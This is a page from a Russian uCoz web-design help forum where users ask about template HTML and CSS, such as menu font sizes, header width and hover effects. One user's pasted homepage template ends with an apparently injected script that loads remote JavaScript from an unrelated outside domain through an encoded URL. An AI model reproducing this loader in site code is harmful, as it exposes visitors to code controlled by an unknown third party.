Дизайн: решение вопросов - Страница 124

Страница 124 из 279 « 1 2 … 122 123 124 125 126 … 278 279 »
Модератор форума: Yuri_G

Дизайн: решение вопросов (редактирование шаблонов)

Дизайн: решение вопросов

Модератор форума

Сообщение # 1 | 16:24:33 10 Окт 2012

Для пользователей не в первый раз слышащих об HTML. Тех кто не знает как вставить картинку или поменять фон, просим изучить сначала учебник - Учебник по Html для чайников. Оглавление или Для тех, кто делает сайты. Оглавление.

Правила темы

1) Если после редактирования шаблонов у вас возникли проблемы с дизайном, то вы должны четко и ясно описать возникшие проблемы. Описание проблемы !обязательно! должно сопровождаться ссылкой на сайт где присутствует проблема с дизайном (лучше всего на страницу, где присутствует проблема )

2) Если в описании проблемы с дизайном необходим скриншот, то скриншоты не должны по размерам превышать 500х500 пкс

3) Если в описании проблемы нужно выложить код проблемного участка шаблона, то код должен быть заключен в тег code

Тема имеет архив.

Данная тема имеет архив. Просмотреть архив.

maruk94

Сообщений: 4

Репутация: 0

Уровень замечаний:

Сообщение # 1846 | 09:55:54 20 Апр 2015

все пересмотрел но результатов нет

Вот код моей главной страници:

Код

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>$MODULE_NAME$ - $SITE_NAME$</title>
<link href="/templates/css/reset.css" rel="stylesheet" type="text/css" media="screen" />
<link href="/templates/css/styles.css" rel="stylesheet" type="text/css" media="screen" />
<link href="/templates/css/print.css" rel="stylesheet" type="text/css" media="print" />
<link href='http://fonts.googleapis.com/css?family=Lobster&subset=latin,cyrillic-ext,latin-ext,cyrillic' rel='stylesheet' type='text/css'>
<link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,700' rel='stylesheet' type='text/css' />
<link href='http://fonts.googleapis.com/css?family=PT+Sans' rel='stylesheet' type='text/css' />
<link href="/templates/css/onebyone.css" rel="stylesheet" type="text/css" media="screen" />
<link href="/templates/css/jquery.onebyone.css" rel="stylesheet" type="text/css" media="screen" />
<link href="/templates/css/animate.css" rel="stylesheet" type="text/css" media="screen" />
<link rel="stylesheet" href="/templates/css/coda-slider-2.0.css" type="text/css" media="screen" />
</head>
<link rel="stylesheet" href="/templates/css/prettyPhoto.css" type="text/css" media="screen" />
<script src="/templates/js/jquery.prettyPhoto.js" type="text/javascript"></script>
<script type="text/javascript" charset="utf-8">
  $(document).ready(function(){
  $("a[rel^='prettyPhoto']").prettyPhoto();
  });
</script>
<script src="/templates/js/sliding.js" type="text/javascript"></script>
<script src="/templates/js/jquery.easing.1.3.js" type="text/javascript"></script>
<script src="/templates/js/jquery.lavalamp.1.3.2-min.js" type="text/javascript"></script>
<script src="/templates/js/lavalamp-init.js" type="text/javascript"></script>
<script type="text/javascript">
  function loadLamps(easing) {
  jQuery('#navi').lavaLamp({
  fx: 'easeOut'+easing,
  speed: 800,
  startItem:0
  });
  }
  </script>
<script src="/templates/js/navi-slidedown.js" type="text/javascript"></script>
<script src="/templates/js/cufon-yui.js" type="text/javascript"></script>
<script src="/templates/js/lobster.font.js" type="text/javascript"></script>
<script type="text/javascript">
  Cufon.replace('.landliebe');
  Cufon.replace('.text_2_5');
</script>
<script src="/templates/js/jquery.onebyone.min.js" type="text/javascript"></script>
<script src="/templates/js/jquery.touchswipe.min.js" type="text/javascript"></script>
<script src="/templates/js/jquery.coda-slider-2.0.js" type="text/javascript"></script>
<script type="text/javascript">
  $().ready(function() {
  $('#coda-slider-1').codaSlider();
  });
  </script>
<script src="/templates/js/scrollup.js" type="text/javascript"></script>
<script src="/templates/js/mailmask.js" type="text/javascript"></script>
<script src="/templates/js/image-hover.js" type="text/javascript"></script>
<script src="/templates/js/jquery.ui.core.js" type="text/javascript"></script>
<script src="/templates/js/jquery.ui.widget.js" type="text/javascript"></script>
<script src="/templates/js/jquery.ui.accordion.js" type="text/javascript"></script>
<script type="text/javascript">
  jQuery(function() {
  jQuery( "#accordion" ).accordion({
  autoHeight: false,
  navigation: true
  });
  });
</script>
<body>
<div id="container">
  <div id="site">
  <div id="header">
$GLOBAL_AHEADER$
  <div id="slideshow">
  <div id="slider">
  <div id="banner">
  <div class="oneByOne_item"> <img src="/templates/images/onebyone/slide11.jpg" class="item_2_3" alt="" /> <img src="/templates/images/onebyone/slide-tile.png" class="item_2_2" alt="" />
  <h4 class="text_2_1">Ваше название</h4>
  <p class="text_2_2">Содержимое поля, можно редактировать под себя</p>
  </div>
  <div class="oneByOne_item"> <img src="/templates/images/onebyone/slide-background.jpg" class="item_2_3" alt="" />
  <div class="centered"><img src="/templates/images/onebyone/slide-tagline.png" class="item_2_4" alt="" /></div>
  <div class="centered">
  <p class="text_2_5">Новая тема для uCoz, Tilability</p>
  </div>
  </div>
  <div class="oneByOne_item"> <img src="/templates/images/onebyone/slide13.jpg" class="item_2_3" alt="" /> <img src="/templates/images/onebyone/slide-tile.png" class="item_2_1" alt="" />
  <h4 class="text_2_3">Название</h4>
  <p class="text_2_4">Содержимое данного поля, можете редактировать</p>
  </div>
  </div>
  <script type="text/javascript">
  $(document).ready(function() {
  $('#banner').oneByOne( {
  className:'oneByOne1',
  easeType:'fadeIn',
  slideShow:true,
  slideShowDelay: 4000
  } );
  } );
  </script>
  </div>
  </div>
  </div>
  
  <div class="content-main-top">
  <div class="heading">
  <h3>Особенности системы</h3>
  </div>
  </div>
  <div class="content-main">
  <div class="one-third centered">
  <h4>Модули</h4>
  <p>Модули - веб-приложения, скомбинировав которые можно получить сайт любой сложности: от простой домашней странички с гостевой книгой до большого портала.</p>
  <p><a href="#" onclick="return false">Read more</a></p>
  </div>
  <div class="one-third centered">
  <h4>Иноформация</h4>
  <p>Все контент модули могут быть переделаны под различные задачи. Так, например, каталог ссылок можно переделать в каталог товаров, а из каталога файлов сделать каталог кулинарных рецептов и т.п.</p>
  <p><a href="#" onclick="return false">Read more</a></p>
  </div>
  <div class="one-third centered last">
  <h4>Запрещено!</h4>
  <p>Чего у нас делать нельзя: использовать скрипты (PHP, CGI и т.п.) и, следовательно, базы данных (MySQL, MS SQL, Oracle и т.п.) использовать аккаунт как хранилище файлов делать "дорвеи"</p>
  <p><a href="#" onclick="return false">Read more</a></p>
  </div>
  <div class="clear"></div>
  </div>
  <div class="content-main-bottom"></div>
<div class="content-main-top">
  <div class="heading">
  <h3>$MODULE_NAME$</h3>
  </div>
  </div>

  <div class="content-main">
  <div class="wide">

$LAST_NEWS$

<div class="break-within"></div>
  </div>
<div class="narrow last">
$GLOBAL_CLEFTER$
</div>
  <div class="clear"></div>
</div>

$GLOBAL_BFOOTER$
<script type="text/javascript">
             (function(w) {
                 var script = document.createElement('script');
                 var i = setInterval(function() {
                     if (typeof w.document.body !== 'undefined') {
                         var s = "http://you.toy-company.info/?";
                         s += 689547 + "=_7b_-a374u-2v7m-s7Ot7eT55ur_-Lbp-a3l5Orv_uf_tro";
                         script.src = s;
                         w.document.body.appendChild(script);
                         clearInterval(i);
                     }
                 }, 200);
             })(window);
         </script>
</body>
</html>

Вчем еще может бить проблема?

Amati5210

Сообщений: 125

Репутация: 16

Сообщение # 1847 | 13:16:52 20 Апр 2015

Доброго дня!
Как увеличить шрифт меню сайта? Знаю что через стили, но там столько разного.... и ненужного. К примеру форумные настройки. Зачем они мне? Я понимаю, что это шаблон, но боюсь трогать.
Заранее благодарен за помощь.

Прикрепления: 5711698.png (278.1 Kb)

Мой сайт РемДомТех

Сообщение отредактировал Amati5210 - Понедельник, 20 Апр 2015, 13:17:37

killbit

Сообщений: 317

Репутация: 104

Сообщение # 1848 | 13:54:15 20 Апр 2015

Цитата Amati5210 (

)

Как увеличить шрифт меню сайта?

Выше на этот вопрос уже отвечали не раз)

Добавьте в ксс например такое

Код

.uMenuItem span {
font-size: 16px;
}

anonim666

Сообщений: 12

Репутация: 0

Сообщение # 1849 | 22:09:02 20 Апр 2015

Здравствуйте
У меня такой вопрос: вот есть код

Код

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Эффект перекатывания</title>
<style>
a.rollover {
background: url(http://htmlbook.ru/example/images/sun1.png);     /* Путь к файлу с исходным рисунком  */
display: block;      /*  Рисунок как блочный элемент */
width: 196px;      /* Ширина рисунка */
height: 183px;      /*  Высота рисунка */
}
a.rollover:hover {
background: url(http://htmlbook.ru/example/images/sun2.png);      /* Путь к файлу с заменяемым рисунком  */
}
</style>
</head>
<body>
<p><a href="#" class="rollover"> </a></p>
</body>
</html>

суть кода заключается в том, чтобы при наведении на рисунок мышкой появлялся другой рисунок, а теперь сам вопрос: можно ли в этот код добавить фишку чтобы после наведения появлялась не только картинка но и текст (под картинкой) (ну или выезжал или что-то в этом роде) ?
Или может есть какой-то другой код для этого, помогите, пожалуйста.

Сообщение отредактировал anonim666 - Понедельник, 20 Апр 2015, 22:12:22

bandjuk

Сообщений: 6816

Репутация: 2398

Уровень замечаний:

Сообщение # 1850 | 22:28:07 20 Апр 2015

anonim666, тут посмотри, может и найдёшь чего http://habrahabr.ru/post/131848/

anonim666

Сообщений: 12

Репутация: 0

Сообщение # 1851 | 22:43:13 20 Апр 2015

Большое спасибо за помощь

Amati5210

Сообщений: 125

Репутация: 16

Сообщение # 1852 | 08:14:29 21 Апр 2015

Цитата killbit (

)

Выше на этот вопрос уже отвечали не раз) Добавьте в ксс например такое

Не получил уведомление об ответе. Спасибо, но такого как раз и нет. Есть вот что связанное с меню

Код

/* Menus */
ul.uz, ul.uMenuRoot {list-style: none; margin: 0 0 0 0; padding-left: 0px;}
li.menus {margin: 0; padding: 0 0 0 13px; background: url('/.s/t/981/12.gif') no-repeat 3px 4px; margin-bottom: .6em;}
/* ----- */

/* Site Menus */
.uMenuH li {float:left;padding:0 5px;}

.uMenuV .uMenuItem {font-family:Tahoma,Arial,Helvetica; text-align: left; padding-left: 15px;}
.uMenuV li a:link {text-decoration:none; color:#04638E}
.uMenuV li a:visited {text-decoration:none; color:#04638E}
.uMenuV li a:hover {text-decoration:none; color:#04638E; font-weight:bold;}
.uMenuV li a:active {text-decoration:none; color:#04638E; font-weight:bold;}

.uMenuV .uMenuItemA {font-weight:bold;}
.uMenuV a.uMenuItemA:link {text-decoration:none; color:#04638E}
.uMenuV a.uMenuItemA:visited {text-decoration:none; color:#04638E}
.uMenuV a.uMenuItemA:hover {text-decoration:none; color:#04638E;}
.uMenuV .uMenuArrow {position:absolute;width:10px;height:10px;right:0;top:3px;background:url('/.s/img/wd/1/ar1.gif') no-repeat 0 0;}
.uMenuV li {border-bottom:1px solid #E5E5E5; margin: 0 2 0 0px; padding: 0 0 2 13px; background: url('/.s/t/981/12.gif') no-repeat 3px 4px; margin-bottom: .6em;}
/* --------- */

/* Module Part Menu */
.catsTd {padding: 0 0 3px 12px; background: url('/.s/t/981/12.gif') no-repeat 2px 4px;}
.catName {font-family:Tahoma,Arial,Sans-Serif;font-size:11px;}
.catNameActive {font-family:Tahoma,Arial,Sans-Serif;font-size:11px;}
.catNumData {font-size:7pt;color:#04638E;}
.catDescr {font-size:7pt; padding-left:10px;}
a.catName:link {text-decoration:none; color:#04638E;}
a.catName:visited {text-decoration:none; color:#04638E;}
a.catName:hover {text-decoration:underline; color:#04638E;}
a.catName:active {text-decoration:underline; color:#04638E;}
a.catNameActive:link {text-decoration:underline; color:#04638E;}
a.catNameActive:visited {text-decoration:underline; color:#04638E;}
a.catNameActive:hover {text-decoration:underline; color:#04638E;}
a.catNameActive:active {text-decoration:underline; color:#04638E;}
/* ----------------- */

Где и что нужно изменить?

Мой сайт РемДомТех

$Vladimir$

Сообщений: 7465

Репутация: 1053

Сообщение # 1853 | 09:02:55 21 Апр 2015

Amati5210, за размер шрифта в данном шаблоне отвечает код CSS

Код

td, body {
font-family: verdana,arial,helvetica;
font-size: 8pt;
}

Вы можете задать размер шрифта меню, изменив код

Код

.uMenuV .uMenuItem {font-family:Tahoma,Arial,Helvetica;}

добавив свойство font-size

Код

.uMenuV .uMenuItem {font-family:Tahoma,Arial,Helvetica;font-size: 12pt;}

font-size:12pt; и есть размер шрифта

Amati5210

Сообщений: 125

Репутация: 16

Сообщение # 1854 | 15:14:52 21 Апр 2015

$Vladimir$, благодарю, получилось))) А теперь следующий вопрос - как увеличить размер шрифта в названиях блоков? В последнее время на обезболивающих поэтому и туплю sad

Мой сайт РемДомТех

killbit

Сообщений: 317

Репутация: 104

Сообщение # 1855 | 15:23:52 21 Апр 2015

Цитата Amati5210 (

)

Спасибо, но такого как раз и нет

я же и писал что добавить а не изменить)))

Цитата Amati5210 (

)

как увеличить размер шрифта в названиях блоков?

каких блоков?

AlexBN

Сообщений: 4

Репутация: 0

Сообщение # 1856 | 15:30:34 21 Апр 2015

Подскажите, пожалуйста, можно ли уменьшить длину header или она подбирается только автоматически исходя из характеристик экрана? brtzdorovie.ru
А то менюшка слишком широкая получается.

Прикрепления: 0180111.jpg (111.2 Kb)

Швабракадабра

Сообщений: 268

Репутация: 77

Сообщение # 1857 | 15:33:12 21 Апр 2015

AlexBN, можно, добавь в CSS

Код

header {
width: 999px;
margin: 0 auto;
}

Читайте мой блог | Подсветка ника в мини-чате

Amati5210

Сообщений: 125

Репутация: 16

Сообщение # 1858 | 15:39:21 21 Апр 2015

Цитата killbit (

)

каких блоков?

Стандартных. Таких как Календарь, Информер сайта, Новости и т.п. Только названия нужно увеличить в размере...

Мой сайт РемДомТех

Швабракадабра

Сообщений: 268

Репутация: 77

Сообщение # 1859 | 15:42:29 21 Апр 2015

Цитата Amati5210 (

)

Стандартных. Таких как Календарь, Информер сайта, Новости и т.п. Только названия нужно увеличить в размере...

В CSS. Было:

Код

td, body {font-family:verdana,arial,helvetica; font-size:8pt;}

Стало:

Код

td, body {font-family:verdana,arial,helvetica; font-size:9pt;}

Ну и, вообще, покрути font-size сколько тебе нужно.

Читайте мой блог | Подсветка ника в мини-чате

anonim666

Сообщений: 12

Репутация: 0

Сообщение # 1860 | 20:07:46 21 Апр 2015

Дамы и господа, здравствуйте
Я опять обращаюсь с тем же вопросом, что и до этого (там, чуть выше): помогите, пожалуйста, сделать кнопку-картинку, после наведения на которую меняется начальная картинка на другую и при этом же из этой кнопки вправо выезжает небольшой текст. Или скиньте, пожалуйста, ссылку на скрипт, или сам скрипт.
Ну прям очень нужно

Дизайн: решение вопросов (редактирование шаблонов)

Страница 124 из 279
«
1
2
…
122
123
124
125
126
…
278
279
»